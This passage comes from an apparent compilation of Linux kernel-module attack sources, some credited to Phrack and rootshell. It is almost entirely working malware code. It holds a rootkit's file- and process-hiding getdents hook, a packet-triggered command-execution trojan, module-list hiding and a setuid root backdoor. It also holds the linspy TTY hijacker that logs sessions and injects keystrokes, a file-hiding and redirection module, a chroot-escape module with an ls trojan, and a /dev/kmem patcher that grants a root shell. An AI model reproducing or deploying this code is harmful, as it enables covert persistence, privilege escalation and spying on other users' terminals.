    unsigned int tmp, n;

    int t, proc = 0;

    struct inode *dinode;

    struct dirent *dirp2, *dirp3;



    tmp = (*o_getdents) (fd, dirp, count);



#ifdef __LINUX_DCACHE_H

    dinode = current->files->fd[fd]->f_dentry->d_inode;

#else

    dinode = current->files->fd[fd]->f_inode;

#endif



    if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)

        proc = 1;

    if (tmp > 0) {

        dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);

        memcpy_fromfs(dirp2, dirp, tmp);

        dirp3 = dirp2;

        t = tmp;

        while (t > 0) {

            n = dirp3->d_reclen;

            t -= n;

            if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \

                ||(proc && invisible(myatoi(dirp3->d_name)))) {

                if (t != 0)

                    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);

                else

                    dirp3->d_off = 1024;

                tmp -= n;

            }

            if (dirp3->d_reclen == 0) {

                /*

                 * workaround for some shitty fs drivers that do not properly

                 * feature the getdents syscall.

                 */

                tmp -= t;

                t = 0;

            }

            if (t != 0)

                dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);





        }

        memcpy_tofs(dirp, dirp2, tmp);

        kfree(dirp2);

    }

    return tmp;



}





/*

* Trojan socketcall system call

* executes a given binary when a packet containing the magic word is received.

* WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.  

*/



int n_socketcall(int call, unsigned long *args)

{

    int ret, ret2, compt;

    char *t = RECVEXEC;

    unsigned long *sargs = args;

    unsigned long a0, a1, mmm;

    void *buf;



    ret = (*o_socketcall) (call, args);

    if (ret == MAGICSIZE && call == SYS_RECVFROM) {

        a0 = get_user(sargs);

        a1 = get_user(sargs + 1);

        buf = kmalloc(ret, GFP_KERNEL);

        memcpy_fromfs(buf, (void *) a1, ret);

        for (compt = 0; compt < ret; compt++)

            if (((char *) (buf))[compt] == 0)

                ((char *) (buf))[compt] = 1;

        if (strstr(buf, mtroj)) {

            kfree(buf);

            ret2 = fork();

            if (ret2 == 0) {

                mmm = current->mm->brk;

                ret2 = brk((void *) (mmm + 256));

                memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

/* Hope the execve has been successfull otherwise you'll have 2 copies of the

   master process in the ps list :] */

                ret2 = my_execve((char *) mmm + 2, NULL, NULL);

            }

        }

    }

    return ret;

}











/*

* module initialization stuff.

*/

int init_module(void)

{

/* module list cleaning */

/* would need to make a clean search of the right register

* in the function prologue, since gcc may not always put

* struct module *mp in %ebx

*

* Try %ebx, %edi, %ebp, well, every register actually :)

*/

    register struct module *mp asm("%ebx");

    *(char *) (mp->name) = 0;

    mp->size = 0;

    mp->ref = 0;

/*

* Make it unremovable

*/

/*    MOD_INC_USE_COUNT;

*/

    o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];

    sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;



    o_getdents = sys_call_table[SYS_getdents];

    sys_call_table[SYS_getdents] = (void *) n_getdents;



    o_setuid = sys_call_table[SYS_setuid];

    sys_call_table[SYS_setuid] = (void *) n_setuid;



    __NR_myexecve = 164;

    while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

        __NR_myexecve--;

    o_execve = sys_call_table[SYS_execve];

    if (__NR_myexecve != 0) {

        sys_call_table[__NR_myexecve] = o_execve;

        sys_call_table[SYS_execve] = (void *) n_execve;

    }

    promisc = 0;

    o_ioctl = sys_call_table[SYS_ioctl];

    sys_call_table[SYS_ioctl] = (void *) n_ioctl;



    o_socketcall = sys_call_table[SYS_socketcall];

    sys_call_table[SYS_socketcall] = (void *) n_socketcall;

    return 0;



}





void cleanup_module(void)

{

    sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;

    sys_call_table[SYS_getdents] = o_getdents;

    sys_call_table[SYS_setuid] = o_setuid;

    sys_call_table[SYS_socketcall] = o_socketcall;



    if (__NR_myexecve != 0)

        sys_call_table[__NR_myexecve] = 0;

    sys_call_table[SYS_execve] = o_execve;



    sys_call_table[SYS_ioctl] = o_ioctl;

}

<-->



----[  EOF

LKM TTY hijacking

NAME : linspy

AUTHOR : halflife

DESCRIPTION : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the

Linux Kernel for Fun and Profit'). It is a very nice TTY hijacker working the

way I outline in II.7. This module uses its own character device for control /

and logging.

LINK : http://www.phrack.com



<++> linspy/Makefile

CONFIG_KERNELD=-DCONFIG_KERNELD

CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)

CC=gcc

# this is the name of the device you have (or will) made with mknod

DN = '-DDEVICE_NAME="/dev/ltap"'

# 1.2.x need this to compile, comment out on 1.3+ kernels

V = #-DNEED_VERSION

MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX



all:                linspy ltread setuid



linspy:                linspy.c /usr/include/linux/version.h

                $(CC) $(MODCFLAGS) -c linspy.c



ltread:               

                $(CC) $(DN) -o ltread ltread.c



clean:               

                rm *.o ltread



setuid:                hacked_setuid.c /usr/include/linux/version.h

                $(CC) $(MODCFLAGS) -c hacked_setuid.c

                                                     

<--> end Makefile

<++> linspy/hacked_setuid.c

int errno;

#include <linux/sched.h>

#include <linux/mm.h>

#include <linux/malloc.h>

#include <linux/errno.h>

#include <linux/sched.h>

#include <linux/kernel.h>

#include <linux/times.h>

#include <linux/utsname.h>

#include <linux/param.h>

#include <linux/resource.h>

#include <linux/signal.h>

#include <linux/string.h>

#include <linux/ptrace.h>

#include <linux/stat.h>

#include <linux/mman.h>

#include <linux/mm.h>

#include <asm/segment.h>

#include <asm/io.h>

#include <linux/module.h>

#include <linux/version.h>

#include <errno.h>

#include <linux/unistd.h>

#include <string.h>

#include <asm/string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/sysmacros.h>

#ifdef NEED_VERSION

static char kernel_version[] = UTS_RELEASE;

#endif

static inline _syscall1(int, setuid, uid_t, uid);

extern void *sys_call_table[];

void *original_setuid;

extern int hacked_setuid(uid_t uid)

{

   int i;                     

   if(uid == 4755)

   {

      current->uid = current->euid = current->gid = current->egid = 0;

      return 0;

   }

   sys_call_table[SYS_setuid] = original_setuid;

   i = setuid(uid);

   sys_call_table[SYS_setuid] = hacked_setuid;

   if(i == -1) return -errno;

   else return i;

}

int init_module(void)

{

   original_setuid = sys_call_table[SYS_setuid];

   sys_call_table[SYS_setuid] = hacked_setuid;

   return 0;

}

void cleanup_module(void)

{

   sys_call_table[SYS_setuid] = original_setuid;

}  

<++> linspy/linspy.c

int errno;

#include <linux/tty.h>

#include <linux/sched.h>

#include <linux/mm.h>

#include <linux/malloc.h>

#include <linux/errno.h>

#include <linux/sched.h>

#include <linux/kernel.h>

#include <linux/times.h>

#include <linux/utsname.h>

#include <linux/param.h>

#include <linux/resource.h>

#include <linux/signal.h>

#include <linux/string.h>

#include <linux/ptrace.h>

#include <linux/stat.h>

#include <linux/mman.h>

#include <linux/mm.h>

#include <asm/segment.h>

#include <asm/io.h>

#ifdef MODULE

#include <linux/module.h>      

#include <linux/version.h>

#endif

#include <errno.h>

#include <asm/segment.h>

#include <linux/unistd.h>

#include <string.h>

#include <asm/string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/sysmacros.h>

#include <linux/vt.h>



/* set the version information, if needed */

#ifdef NEED_VERSION

static char kernel_version[] = UTS_RELEASE;

#endif



#ifndef MIN

#define MIN(a,b)        ((a) < (b) ? (a) : (b))

#endif



/* ring buffer info */        



#define BUFFERSZ        2048

char buffer[BUFFERSZ];

int queue_head = 0;

int queue_tail = 0;



/* taken_over indicates if the victim can see any output */

int taken_over = 0;



static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);

extern void *sys_call_table[];



/* device info for the linspy device, and the device we are watching */

static int linspy_major = 40;

int tty_minor = -1;

int tty_major = 4;



/* address of original write(2) syscall */

void *original_write;



void save_write(char *, size_t);





int out_queue(void)

{

   int c;

   if(queue_head == queue_tail) return -1;

   c = buffer[queue_head];

   queue_head++;

   if(queue_head == BUFFERSZ) queue_head=0;

   return c;

}



int in_queue(int ch)

{

   if((queue_tail + 1) == queue_head) return 0;

   buffer[queue_tail] = ch;

   queue_tail++;

   if(queue_tail == BUFFERSZ) queue_tail=0;

   return 1;

}





/* check if it is the tty we are looking for */

int is_fd_tty(int fd)

{

   struct file *f=NULL;

   struct inode *inode=NULL;

   int mymajor=0;

   int myminor=0;



   if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))

      return 0;

   mymajor = major(inode->i_rdev);

   myminor = minor(inode->i_rdev);

   if(mymajor != tty_major) return 0;

   if(myminor != tty_minor) return 0;

   return 1;

}



/* this is the new write(2) replacement call */

extern int new_write(int fd, char *buf, size_t count)

{

   int r;

   if(is_fd_tty(fd))

   {

      if(count > 0)

         save_write(buf, count);

      if(taken_over) return count;

   }

   sys_call_table[SYS_write] = original_write;

   r = write(fd, buf, count);

   sys_call_table[SYS_write] = new_write;

   if(r == -1) return -errno;

   else return r;

}





/* save data from the write(2) call into the buffer */

void save_write(char *buf, size_t count)

{

   int i;

   for(i=0;i < count;i++)

      in_queue(get_fs_byte(buf+i));

}



/* read from the ltap device - return data from queue */

static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)

{

   int i;

   int c;

   int cnt=0;

   if(current->euid != 0) return 0;

   for(i=0;i < count;i++)

   {

      c = out_queue();

      if(c < 0) break;

      cnt++;

      put_fs_byte(c, buf+i);

   }

   return cnt;

}



/* open the ltap device */

static int linspy_open(struct inode *in, struct file *fi)

{

   if(current->euid != 0) return -EIO;

   MOD_INC_USE_COUNT;

   return 0;

}



/* close the ltap device */

static void linspy_close(struct inode *in, struct file *fi)

{

   taken_over=0;

   tty_minor = -1;

   MOD_DEC_USE_COUNT;

}

            

/* some ioctl operations */

static int

linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)

{

#define LS_SETMAJOR     0

#define LS_SETMINOR     1

#define LS_FLUSHBUF     2

#define LS_TOGGLE       3



   if(current->euid != 0) return -EIO;

   switch(cmd)

   {

      case LS_SETMAJOR:

         tty_major = args;

         queue_head = 0;

         queue_tail = 0;

         break;

      case LS_SETMINOR:

         tty_minor = args;

         queue_head = 0;

         queue_tail = 0;

         break;

     case LS_FLUSHBUF:

         queue_head=0;

         queue_tail=0;

         break;

     case LS_TOGGLE:

         if(taken_over) taken_over=0;

         else taken_over=1;

         break;

      default:

         return 1;

   }

   return 0;

}





static struct file_operations linspy = {

NULL,

linspy_read,

NULL,

NULL,

NULL,

linspy_ioctl,

NULL,

linspy_open,

linspy_close,

NULL

};





/* init the loadable module */

int init_module(void)

{

   original_write = sys_call_table[SYS_write];

   sys_call_table[SYS_write] = new_write;

   if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;

   return 0;

}



/* cleanup module before being removed */

void cleanup_module(void)

{

   sys_call_table[SYS_write] = original_write;

   unregister_chrdev(linspy_major, "linspy");

}

<--> end linspy.c

<++> linspy/ltread.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <termios.h>

#include <string.h>

#include <fcntl.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/sysmacros.h>



struct termios save_termios;

int ttysavefd = -1;

int fd;



#ifndef DEVICE_NAME

#define DEVICE_NAME "/dev/ltap"

#endif



#define LS_SETMAJOR     0

#define LS_SETMINOR     1



#define LS_FLUSHBUF     2

#define LS_TOGGLE       3



void stuff_keystroke(int fd, char key)

{

   ioctl(fd, TIOCSTI, &key);

}



int tty_cbreak(int fd)

{

   struct termios buff;

   if(tcgetattr(fd, &save_termios) < 0)

      return -1;

   buff = save_termios;

   buff.c_lflag &= ~(ECHO | ICANON);

   buff.c_cc[VMIN] = 0;

   buff.c_cc[VTIME] = 0;

   if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)

      return -1;

   ttysavefd = fd;

   return 0;

}



char *get_device(char *basedevice)

{

   static char devname[1024];

   int fd;



   if(strlen(basedevice) > 128) return NULL;

   if(basedevice[0] == '/')

      strcpy(devname, basedevice);

   else

      sprintf(devname, "/dev/%s", basedevice);

   fd = open(devname, O_RDONLY);

   if(fd < 0) return NULL;

   if(!isatty(fd)) return NULL;

   close(fd);

   return devname;

}





int do_ioctl(char *device)

{

   struct stat mystat;



   if(stat(device, &mystat) < 0) return -1;

    fd = open(DEVICE_NAME, O_RDONLY);

   if(fd < 0) return -1;

   if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;

   if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;

}





void sigint_handler(int s)

{

   exit(s);

}



void cleanup_atexit(void)

{

   puts(" ");

   if(ttysavefd >= 0)

      tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);

}



main(int argc, char **argv)

{

   int my_tty;

   char *devname;

    unsigned char ch;

   int i;



   if(argc != 2)

   {

      fprintf(stderr, "%s ttyname\n", argv[0]);

      fprintf(stderr, "ttyname should NOT be your current tty!\n");

      exit(0);

   }

   devname = get_device(argv[1]);

   if(devname == NULL)

   {

      perror("get_device");

      exit(0);

   }

   if(tty_cbreak(0) < 0)

   {

      perror("tty_cbreak");

      exit(0);

   }

   atexit(cleanup_atexit);

   signal(SIGINT, sigint_handler);

   if(do_ioctl(devname) < 0)

   {

      perror("do_ioctl");

      exit(0);

   }

   my_tty = open(devname, O_RDWR);

   if(my_tty == -1) exit(0);

   setvbuf(stdout, NULL, _IONBF, 0);

   printf("[now monitoring session]\n");

   while(1)

   {

      i = read(0, &ch, 1);

      if(i > 0)

      {

         if(ch == 24)

         {

            ioctl(fd, LS_TOGGLE, 0);

            printf("[Takeover mode toggled]\n");

         }

         else stuff_keystroke(my_tty, ch);

      }

      i = read(fd, &ch, 1);

      if(i > 0)

         putchar(ch);

    }

}

<--> end ltread.c





EOF

AFHRM - the monitor tool

NAME : AFHRM ( Advanced file hide & redirect module)

AUTHOR : Michal Zalewski

DESCRIPTION : This LKM was made especially for admins who want to control some

files (passwd, for example) concerning file access. This module can monitor any

fileaccess and redirect write attempts. It is also possible to do file hiding.

LINK : http://www.rootshell.com



/*

   Advanced file hide & redirect module for Linux 2.0.xx / i386

   ------------------------------------------------------------

      (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>

*/



#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>



#if (!defined(__GLIBC__) || __GLIBC__ < 2)

#include <sys/stat.h>

#else

#include <statbuf.h>                // What can I do?

#endif



#include <linux/string.h>

#include "broken-glibc.h"

#include <linux/fs.h>

#include <linux/malloc.h>



/* Hope that's free? */

#define O_NOCHG     0x1000000

#define O_ACCNOCHG  0x2000000

#define O_STRICT    0x4000000

#define O_STILL     0x8000000



#define M_MAIN      0x0ffffff

#define M_MINOR     (M_MAIN ^ O_ACCMODE)



struct red {                // Redirections database entry.

  const char *src,*dst;

  const int flags,new_flags;

};



struct red redir_table[]={



// Include user-specific choices :-)

#include "config.h"



};



#define REDIRS sizeof(redir_table)/sizeof(struct red)



struct dat {                // Inode database entry.

  long ino,dev;

  int valid;

};



int as_today,ohits,ghits,       // internal counters.

    uhits,lhits,rhits;



struct dat polozenie[REDIRS];        // Inodes database.



// Protos...

int collect(void);



extern void* sys_call_table[];



// Old system calls handlers (for module removal).

int (*stary_open)(const char *pathname, int flags, mode_t mode);

int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);

int (*stary_link)(const char* oldname,const char* newname);

int (*stary_unlink)(const char* name);

int (*stary_rename)(const char* oldname,const char* newname);



int (*sys_stat)(void*,void*);

int (*mybrk)(void*);





// Ugly low-level hack - OH, HOW WE NEED IT :)))

int mystat(const char* arg1,struct stat* arg2,char space) {

  unsigned long m1=0,m2;

  long __res;

  char* a1;

  struct stat* a2;

  if (!space) {

    // If needed, duplicate 1st argument to user space...

    m1=current->mm->brk;

    mybrk((void*)(m1+strlen(arg1)+1));

    a1=(char*)(m1+2);

    memcpy_tofs(a1,arg1,strlen(arg1)+1);

  } else a1=(char*)arg1;

  // Allocate space for 2nd argument...

  m2=current->mm->brk;

  mybrk((void*)(m2+sizeof(struct stat)));

  a2=(struct stat*)(m2+2);

  // Call stat(...)

  __res=sys_stat(a1,a2);

  // Copy 2nd argument back...

  memcpy_fromfs(arg2,a2,sizeof(struct stat));

  // Free memory.

  if (!space) mybrk((void*)m1); else mybrk((void*)m2);

  return __res;

}



// New open(...) handler.

extern int nowy_open(const char *pathname, int flags, mode_t mode) {

  int i=0,n;

  char zmieniony=0,*a1;

  struct stat buf;

  unsigned long m1=0;

  if (++as_today>INTERV) {

    as_today=0;

    collect();

  }

  if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie.valid

    && (long)buf.st_dev==polozenie.dev && (long)*((char*)&buf.st_dev+4)==polozenie.ino) {

    if (redir_table.flags & O_STRICT) n=redir_table.flags & O_ACCMODE; else n=0;

    switch(flags) {

      case O_RDONLY:

        if ((redir_table.flags & O_WRONLY) || (n & O_RDWR)) n=1;

        break;

      case O_WRONLY:

        if ((redir_table.flags & O_RDONLY) || (n & O_RDWR)) n=1;

        break;

      default:

        if (n && (n & (O_RDONLY|O_WRONLY))) n=1;

        n=0;

    }

#ifdef DEBUG

    printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table.src, buf.st_dev, buf.st_ino);

    printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table.dst, mode,redir_table.flags);

    printk("0x%x rd: %d.\n", redir_table.new_flags, n==0);

#endif

    ohits++;

    if (!n && (((redir_table.flags & M_MINOR) & flags) == (redir_table.flags & M_MINOR)))

      if (redir_table.dst) {

        flags=(((redir_table.new_flags & O_NOCHG) > 0)*flags) |

              (((redir_table.new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |

              (redir_table.new_flags & M_MAIN);

        /* User space trick */

        m1=current->mm->brk;

        mybrk((void*)(m1+strlen(redir_table.dst)+1));

        a1=(char*)(m1+2);

        memcpy_tofs(a1,redir_table.dst,strlen(redir_table.dst)+1);

        pathname=a1;

        zmieniony=1;

      } else return -ERR;

  }

  i=stary_open(pathname,flags,mode);

  if (zmieniony) mybrk((void*)m1);

  return i;

}





// New getdents(...) handler.

int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {

  int ret,n,t,i,dev;

  struct dirent *d2,*d3;

  ret=stary_getdents(fd,dirp,count);

  dev = (long)current->files->fd[fd]->f_inode->i_dev;

  if (ret>0) {

    d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);

    memcpy_fromfs(d2,dirp,ret);

    d3=d2;

    t=ret;

    while (t>0) {

      n=d3->d_reclen;

      t-=n;

      for (i=0;i<REDIRS;i++)

        if (polozenie.valid && /* dev == polozenie.dev && */ /* BROKEN! */

            d3->d_ino==polozenie.ino && redir_table.dst == NULL) {

#ifdef DEBUG

          printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",

                 redir_table.src,dev,d3->d_ino,ret,t);

#endif

          ghits++;

          if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;

          ret-=n;

        }

      if (!d3->d_reclen) { ret-=t;t=0; }

      if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);

    }

    memcpy_tofs(dirp,d2,ret);

    kfree(d2);

  }

  return ret;

}





// New link(...) handler.

extern int nowy_link(const char *oldname,const char *newname) {

  int i;

  struct stat buf;

  if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie.valid &&

     (long)buf.st_dev==polozenie.dev && ( redir_table.dst == NULL ||

     redir_table.flags | O_STILL ) &&

     (long)*((char*)&buf.st_dev+4)==polozenie.ino) {

#ifdef DEBUG

    printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table.src,buf.st_dev,

           (long)*((char*)&buf.st_dev+4));

#endif

       lhits++;

       if (redir_table.dst) return -STILL_ERR; else return -ERR;

     }

  return stary_link(oldname,newname);

}





// New unlink(...) handler.

extern int nowy_unlink(const char *name) {

  int i;

  struct stat buf;

  if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie.valid &&

     (long)buf.st_dev==polozenie.dev && ( redir_table.dst == NULL ||

     redir_table.flags | O_STILL ) &&

     (long)*((char*)&buf.st_dev+4)==polozenie.ino) {

#ifdef DEBUG

    printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table.src,buf.st_dev,

           (long)*((char*)&buf.st_dev+4));

#endif

       uhits++;

       if (redir_table.dst) return -STILL_ERR; else return -ERR;

  }

  return stary_unlink(name);

}





// New rename(...) handler.

extern int nowy_rename(const char *oldname, const char* newname) {

  int i;

  struct stat buf;

  if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie.valid &&

     (long)buf.st_dev==polozenie.dev && ( redir_table.dst == NULL ||

     redir_table.flags | O_STILL ) &&

     (long)*((char*)&buf.st_dev+4)==polozenie.ino) {

#ifdef DEBUG

    printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table.src,buf.st_dev,

           (long)*((char*)&buf.st_dev+4));

#endif

       rhits++;

       if (redir_table.dst) return -STILL_ERR; else return -ERR;

  }

  return stary_rename(oldname,newname);

}





// Inode database rebuild procedure.

int collect() {

  int x=0,i=0,err;

  struct stat buf;

#ifdef DEBUG

  printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");

#endif

  for (;i<REDIRS;i++)

    if (!(err=mystat(redir_table.src,&buf,0))) {

      polozenie.valid=1;

      polozenie.dev=buf.st_dev;

      polozenie.ino=(long)*((char*)&buf.st_dev+4);

#ifdef DEBUG

  printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table.src,

         buf.st_dev,buf.st_ino);

#endif

      x++;

    } else {

      polozenie.valid=0;

#ifdef DEBUG

     printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table.src,-err);

  }

  if (x!=REDIRS) {

    printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);

#endif

  }

  return x;

}



// ********

// MAINS :)

// ********





// Module startup.

int init_module(void) {

#ifdef HIDDEN

  register struct module *mp asm("%ebp");

#endif

  int x;

  unsigned long flags;

  save_flags(flags);

  cli();                        // To satisfy kgb ;-)

#ifdef HIDDEN

  *(char*)(mp->name)=0;

  mp->size=0;

  mp->ref=0;

#endif

#ifdef VERBOSE

  printk("AFHRM_INIT: Version " VERSION " starting.\n");

#ifdef HIDDEN

  register_symtab(0);

  printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");

#endif

  printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);

#endif

  sys_stat=sys_call_table[__NR_stat];

  mybrk=sys_call_table[__NR_brk];

  x=collect();

  stary_open=sys_call_table[__NR_open];

  stary_getdents=sys_call_table[__NR_getdents];

  stary_link=sys_call_table[__NR_link];

  stary_unlink=sys_call_table[__NR_unlink];

  stary_rename=sys_call_table[__NR_rename];

#ifdef VERBOSE

  printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);

  printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,

         (int)nowy_getdents);

  printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);

  printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,

         (int)nowy_unlink);

  printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,

         (int)nowy_rename);

#endif

  sys_call_table[__NR_open]=nowy_open;

  sys_call_table[__NR_getdents]=nowy_getdents;

  sys_call_table[__NR_link]=nowy_link;

  sys_call_table[__NR_unlink]=nowy_unlink;

  sys_call_table[__NR_rename]=nowy_rename;

#ifdef VERBOSE

  printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);

#endif

  restore_flags(flags);

  return 0;

}





// Module shutdown...

void cleanup_module(void) {

  unsigned long flags;

  save_flags(flags);

  cli();                        // To satisfy kgb ;-)

#ifdef VERBOSE

  printk("AFHRM_INIT: Version " VERSION " shutting down.\n");

#endif

  sys_call_table[__NR_open]=stary_open;

  sys_call_table[__NR_getdents]=stary_getdents;

  sys_call_table[__NR_link]=stary_link;

  sys_call_table[__NR_unlink]=stary_unlink;

  sys_call_table[__NR_rename]=stary_rename;

#ifdef VERBOSE

  printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",

         ohits,ghits,lhits,uhits,rhits);

#endif

  restore_flags(flags);

}

CHROOT module trick

NAME : chr.c

AUTHOR : FLoW/HISPAHACK

DESCRIPTION : The first source represents the ls 'trojan'. The second one

represents the actual module which is doing the chroot trick.

LINK : http://hispahack.ccc.de



/*LS 'TROJAN'*/

/* Sustituto para el "ls" de un ftp restringido.

* Carga el modulo del kernel chr.o

* FLoW - !H'98

*/



#include <stdio.h>

#include <sys/wait.h>



main()

{

int estado;



printf("UID: %i EUID: %i\n",getuid(),geteuid());

printf("Cambiando EUID...\n");



setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */



printf("UID: %i EUID: %i\n",getuid(),geteuid());



switch(fork())

{

case -1: printf("Error creando hijo.\n");

case  0: execlp("/bin/insmod","insmod","/bin/chr.o",0);

         printf("Error ejecutando insmod.\n");

         exit(1);

default: printf("Cargando modulo chroot...\n");

         wait(&estado);

         if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)

           printf("Modulo cargado!\n");

         else

           printf("Error cargando modulo.\n");

         break;

}

}







/* Modulo del kernel para anular un chroot() y "retocar" chmod()

* FLoW - !H'98

* Basado en heroin.c de Runar Jensen <zarq@opaque.org>

*/



#include <linux/fs.h>

#include <linux/module.h>

#include <linux/malloc.h>

#include <linux/unistd.h>

#include <sys/syscall.h>



#include <linux/dirent.h>

#include <linux/proc_fs.h>

#include <stdlib.h>





static inline _syscall2(int, chmod, const char*, path, mode_t, mode);

static inline _syscall1(int, setuid, uid_t, uid);



extern void *sys_call_table[];



int (*original_chroot)(const char *, const char*);

int (*original_chmod)(const char *, mode_t);

int (*original_setuid)(uid_t);



int hacked_chmod(const char *path, mode_t mode)

{

int err;



if(mode==83) { /* chmod 123 XXX */

  (*original_setuid)(0);

  err=(*original_chmod)(path, 511); /* chmod 777 XXX */

  }



else {

  err=(*original_chmod)(path, mode);

  }

  

return(err);

}



int hacked_chroot(const char *path, const char *cmd)

{

        return(0);

}



int init_module(void)

{

        original_setuid = sys_call_table[SYS_setuid];

        original_chroot = sys_call_table[SYS_chroot];

        sys_call_table[SYS_chroot] = hacked_chroot;

        original_chmod = sys_call_table[SYS_chmod];

        sys_call_table[SYS_chmod] = hacked_chmod;

        return(0);

}



void cleanup_module(void)

{

        sys_call_table[SYS_chroot] = original_chroot;

        sys_call_table[SYS_chmod] = original_chmod;

}

Kernel Memory Patching

NAME : kmemthief.c

AUTHOR : unknown (I really tried to find out, but I found no comments) I found a

similar source by daemon9 who took it from 'Unix Security: A practical tutorial'

DESCRIPTION : This is a 'standard' kmem patcher, which gives you root (your user

process). The system you try to exploit must permit write and read access to

/dev/kmem. There are some systems that make that fault but don't rely on that.

LINK : http://www.rootshell.com



/*   

   kmem_thief

   compile as follows:

   cc -O kmem_thief.c -ld -o kmem_thief

*/

#include <stdio.h>

#include <fcntl.h>

#include <sys/signal.h>

#include <sys/param.h>

#include <sys/types.h>

#include <sys/dir.h>

#include <sys/user.h>



struct user userpage;

long address(), userlocation;



int main(argc, argv, envp)

        int argc;

        char *argv[], *envp[];

{

        int count, fd;

        long where, lseek();

        fd = open( "/dev/kmem",O_RDWR);

        if(fd < 0)

        {

                printf("Could not open /dev/kmem.\n");

                perror(argv);

                exit(10);

        }

        userlocation = address();

        where = lseek(fd, userlocation, 0);

        if(where != userlocation)

        {

                printf("Could not seek to user page.\n");

                perror(argv);

                exit(20);

        }

        count = read(fd, &userpage, sizeof(struct user));

        if(count != sizeof(struct user))

        {

                printf("Could not read user page.\n");

                perror(argv);

                exit(30);

        }

        printf(" Current uid is %d\n", userpage.u_ruid);

        printf(" Current gid is %d\n", userpage.u_rgid);

        printf(" Current euid is %d\n", userpage.u_uid);

        printf(" Current egid is %d\n", userpage.u_gid);

        userpage.u_ruid = 0;

        userpage.u_rgid = 0;

        userpage.u_uid = 0;

        userpage.u_gid = 0;

        where = lseek(fd, userlocation, 0);

        if(where != userlocation)

        {

                printf("Could not seek to user page.\n");

                perror(argv);

                exit(40);

        }

        write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));

        execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);

}



# include <filehdr.h>

# include <syms.h>

# include <ldfcn.h>



# define LNULL ( (LDFILE *)0 )



long    address ()

{

        LDFILE  *object;

        SYMENT  symbol;

        long    idx;

        object = ldopen( "/unix", LNULL );

        if( object == LNULL ) {

                fprintf( stderr, "Could not open /unix.\n" );

                exit( 50 );

        }

        for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {

